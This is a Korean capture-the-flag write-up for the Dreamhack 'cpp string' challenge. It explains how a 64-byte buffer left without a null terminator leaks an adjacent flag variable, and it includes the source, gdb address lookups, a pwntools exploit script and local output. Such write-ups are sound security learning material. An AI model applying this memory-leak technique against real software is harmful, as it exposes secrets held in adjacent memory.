

[Dreamhack.io] cpp string Write-Up

- Platform: Dreamhack
- Date: 2026-08-17 (solved) / 2026-08-20 (written)
- Difficulty: Easy
- Tags: `#pwn` `#read` `#Null-byte`

1. Challenge Overview (문제 개요)

📄 문제 요약

- 목표: Flag 획득 (`/flag` 읽기 또는 `execve` 쉘 획득)

- 제공 파일: `cpp_string`, `cpp_string.cpp`
- 보호 기법 (Checksec):

```
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       No PIE (0x400000)
Stripped:  No
```

2. Vulnerability Analysis (취약점 분석)

소스 코드 / 디컴파일 분석

```
//g++ -o cpp_string cpp_string.cpp
#include <iostream>
#include <fstream>
#include <csignal>
#include <unistd.h>
#include <stdlib.h>

char readbuffer[64] = {0, };
char flag[64] = {0, };
std::string writebuffer;

/*
버퍼 초기화 및 alarm 설정 부분
*/

int read_file(){
    std::ifstream is ("test", std::ifstream::binary);
```

```

        if(is.is_open()){
            is.read(readbuffer, sizeof(readbuffer));
            is.close();

            std::cout << "Read complete!" << std::endl;
            return 0;
        }
        else{
            std::cout << "No testfile...exiting.." << std::endl;
            exit(0);
        }
    }

int write_file(){
    std::ofstream of ("test", std::ofstream::binary);
    if(of.is_open()){
        std::cout << "Enter file contents : ";
        std::cin >> writebuffer;
        of.write(writebuffer.c_str(), sizeof(readbuffer));
        of.close();
        std::cout << "Write complete!" << std::endl;
        return 0;
    }
    else{
        std::cout << "Open error!" << std::endl;
        exit(0);
    }
}

int read_flag(){
    std::ifstream is ("flag", std::ifstream::binary);
    if(is.is_open()){
        is.read(flag, sizeof(readbuffer));
        is.close();
        return 0;
    }
    else{
        std::cout << "You must need flagfile.." << std::endl;
        exit(0);
    }
}

int show_contents(){
    std::cout << "contents : ";
    std::cout << readbuffer << std::endl;
    return 0;
}

int main(void) {
    initialize();
    int selector = 0;

```

```

while(1){
    std::cout << "Simple file system" << std::endl;
    std::cout << "1. read file" << std::endl;
    std::cout << "2. write file" << std::endl;
    std::cout << "3. show contents" << std::endl;
    std::cout << "4. quit" << std::endl;
    std::cout << "[*] input : ";
    std::cin >> selector;

    switch(selector){
        case 1:
            read_flag();
            read_file();
            break;
        case 2:
            write_file();
            break;
        case 3:
            show_contents();
            break;
        case 4:
            std::cout << "BYEBYE" << std::endl;
            exit(0);
    }
}
}

```

- `read_flag` 함수: `flag` 변수에 `flag` 파일 내용을 저장
- `read_file` 함수: `readbuffer` 변수에 `test` 파일 내용을 저장
- `write_file` 함수: 사용자 입력을 `test` 파일에 쓰기
- `show_contents` 함수: `readbuffer` 함수 출력

취약점 원인 (Root Cause)

- 발생 원인: `read()` 함수는 입력값 뒤에 NULL 바이트를 자동으로 추가하지 않음
- 파급 효과: 문자열을 읽을 때 다른 변수의 내용까지 출력할 수 있다.

3. Exploit Strategy (최종 해결 전략)

✓ 돌파구 (Breakthrough)

`read` 함수는 사용자 입력에 자동으로 NULL 바이트를 채우지 않는다.

따라서 만약 `readbuffer` 변수와 `flag` 가 인접해 있다면 `readbuffer` 의 내용을 출력할 때에 `flag` 변수의 값도 출력될 것이다.

전역 변수 주소 확인

- gdb 명령어 print (줄여서 p)를 통해 readbuffer, flag, writebuffer 변수의 주소를 알아낼 수 있다.

```
pwndbg> p &readbuffer
$2 = (<data variable, no debug info> *) 0x602380 <readbuffer>
pwndbg> p &flag
$3 = (<data variable, no debug info> *) 0x6023c0 <flag>
pwndbg> p &writebuffer
$4 = (<data variable, no debug info> *) 0x602400 <writebuffer[abi:cxx11]>
pwndbg> |
```

- readbuffer 와 flag 사이는 $0x6023c0 - 0x602380 = 0x40$ 바이트만큼 떨어져 있다.
- readbuffer 자체가 64 바이트 크기이므로, 두 변수는 서로 붙어 있음을 알 수 있다.

최종 페이로드

1. write_file 함수를 통해 test 파일에 64바이트 크기의 더미값을 저장한다.
2. read_flag, read_file 함수를 통해 두 변수에 각각 파일값을 저장한다.
3. show_contents 함수를 통해 readbuffer 변수의 값을 출력한다.
 - 이때 readbuffer는 NULL 바이트 없이 더미값 64바이트로 채워져 있으므로 std::cout을 통해 출력할 때, flag 값까지 출력이 될 것이다.

4. Exploit Code (최종 코드)

```
#!/usr/bin/python3
from pwn import *

p = process('./cpp_string')
# p = remote('IP', PORT)

#1 write file
p.sendlineafter(b'input : ', b'2')

payload = b'A' * 64
p.sendlineafter(b'Enter file contents : ', payload)

#2 read file
p.sendlineafter(b'input : ', b'1')

#3 show contents
p.sendlineafter(b'input : ', b'3')

p.interactive()
```

- 다음은 로컬 환경에서 실행한 결과이다.

```
[*] Starting local process './cpp_string': pid 2557
[*] Switching to interactive mode
contents : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADH{THIS_IS_LOCAL_FLAGFILE}

Simple file system
1. read file
```

6. 배운 점 & 오답 노트

- 유용했던 GDB 명령어 / 팁:
 - `p &readbuffer` 로 변수 주소 알아내기